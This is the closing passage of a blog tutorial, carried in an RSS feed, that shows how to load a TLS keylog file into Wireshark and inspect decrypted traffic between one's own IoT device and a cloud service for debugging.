<p class="wp-block-paragraph">In Wireshark you can filter the TLS traffic with &#8220;tls&#8221; filter option. Next, you right-click an encrypted TLS packet and click on &#8220;Protocol Preferences&#8221; &gt; &#8220;(Pre)-Master-Secret log filename&#8230;&#8221; and choose the keylog file in the following dialog.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="625" src="https://tutorialtech.net/wp-content/uploads/2020/04/Screen-Shot-2020-04-18-at-20.24.00-1024x625.png" alt="Wireshark TLS protocol settings for AWS keylog.txt" class="wp-image-138" srcset="https://tutorialtech.net/wp-content/uploads/2020/04/Screen-Shot-2020-04-18-at-20.24.00-1024x625.png 1024w, https://tutorialtech.net/wp-content/uploads/2020/04/Screen-Shot-2020-04-18-at-20.24.00-300x183.png 300w, https://tutorialtech.net/wp-content/uploads/2020/04/Screen-Shot-2020-04-18-at-20.24.00-768x469.png 768w, https://tutorialtech.net/wp-content/uploads/2020/04/Screen-Shot-2020-04-18-at-20.24.00-1536x938.png 1536w, https://tutorialtech.net/wp-content/uploads/2020/04/Screen-Shot-2020-04-18-at-20.24.00.png 1634w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">Now you can inspect decrypted messages between your IoT-device and your Cloud Solution by clicking on &#8220;Decrypted TLS&#8221; at the bottom.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="559" src="https://tutorialtech.net/wp-content/uploads/2020/04/Screen-Shot-2020-04-18-at-20.27.48-1024x559.png" alt="Decrypt TLS tab in Packet Capturing Interface of Wireshark" class="wp-image-140" srcset="https://tutorialtech.net/wp-content/uploads/2020/04/Screen-Shot-2020-04-18-at-20.27.48-1024x559.png 1024w, https://tutorialtech.net/wp-content/uploads/2020/04/Screen-Shot-2020-04-18-at-20.27.48-300x164.png 300w, https://tutorialtech.net/wp-content/uploads/2020/04/Screen-Shot-2020-04-18-at-20.27.48-768x419.png 768w, https://tutorialtech.net/wp-content/uploads/2020/04/Screen-Shot-2020-04-18-at-20.27.48.png 1254w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">As you can see with a few tweaks it is possible to view and debug encrypted traffic between your device and the cloud. If you have trouble following this tutorial please feel free to leave a comment below and I will answer as fast as possible. </p>



<p class="wp-block-paragraph">If you are interested in how I started this blog, you can check out my <a href="https://tutorialtech.net/my-wordpress-blog-with-amazon-aws/">previous Post</a>. </p>
<p>The post <a href="https://tutorialtech.net/how-to-decrypt-nodejs-tls-traffic-with-wireshark/">How to decrypt NodeJs TLS traffic with Wireshark</a> appeared first on <a href="https://tutorialtech.net">Tutorial Tech</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://tutorialtech.net/how-to-decrypt-nodejs-tls-traffic-with-wireshark/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">114</post-id>	</item>
	</channel>
</rss>
